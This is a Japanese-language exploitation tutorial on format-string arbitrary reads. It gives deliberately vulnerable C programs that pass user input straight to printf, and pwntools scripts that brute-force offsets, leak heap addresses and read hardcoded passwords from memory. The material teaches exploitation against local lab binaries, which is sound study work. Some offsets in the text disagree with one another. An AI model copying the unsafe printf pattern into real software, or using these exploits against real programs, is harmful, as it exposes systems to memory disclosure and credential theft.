フォーマット文字列 - 任意の読み取り例

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バイナリの読み取り開始

コード

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

次のコマンドでコンパイルします:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

エクスプロイト

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())

• オフセットは11です。いくつかのAを設定し、0から50までのループでブルートフォースを行った結果、オフセット11で5つの追加文字（この場合はパイプ|）を使うことで、完全なアドレスを制御できることがわかりました。
• **%11$p**を使用し、アドレスがすべて0x4141414141414141になるまでパディングしました。
• フォーマット文字列のペイロードはアドレスの前にあります。なぜなら、printfはヌルバイトで読み取りを停止するため、アドレスを送信してからフォーマット文字列を送信すると、ヌルバイトが見つかる前にprintfはフォーマット文字列に到達しないからです。
• 選択したアドレスは0x00400000です。これはバイナリが開始する場所です（PIEなし）。

パスワードを読む

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

次のコマンドでコンパイルします:

clang -o fs-read fs-read.c -Wno-format-security

スタックからの読み取り

stack_password はローカル変数であるため、スタックに保存されます。したがって、printfを悪用してスタックの内容を表示するだけで十分です。これは、最初の100位置をBFしてスタックからパスワードを漏洩させるためのエクスプロイトです：

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

画像では、10thの位置からスタックのパスワードを漏洩できることがわかります：

データの読み取り

同じエクスプロイトを%sの代わりに%pを使って実行すると、スタックからヒープアドレスを%25$pで漏洩できます。さらに、漏洩したアドレス（0xaaaab7030894）をそのプロセスのメモリ内のパスワードの位置と比較することで、アドレスの差を取得できます：

次は、2つ目のフォーマット文字列の脆弱性からアクセスするために、スタック内の1つのアドレスを制御する方法を見つける時です：

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

そして、使用されたパッシングでtry 14においてアドレスを制御できることがわかります：

エクスプロイト

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()